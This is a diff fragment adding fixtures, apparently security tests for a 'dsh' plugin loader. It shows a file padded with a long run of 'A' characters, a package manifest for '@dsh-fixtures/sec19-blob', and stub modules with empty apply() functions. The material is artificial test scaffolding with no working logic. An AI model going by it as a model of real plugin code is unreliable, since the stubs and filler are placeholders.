AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
2
+ export function apply() {}
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec19-blob",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,2 @@
1
+ export const label = 'readable source'
2
+ export function apply() {}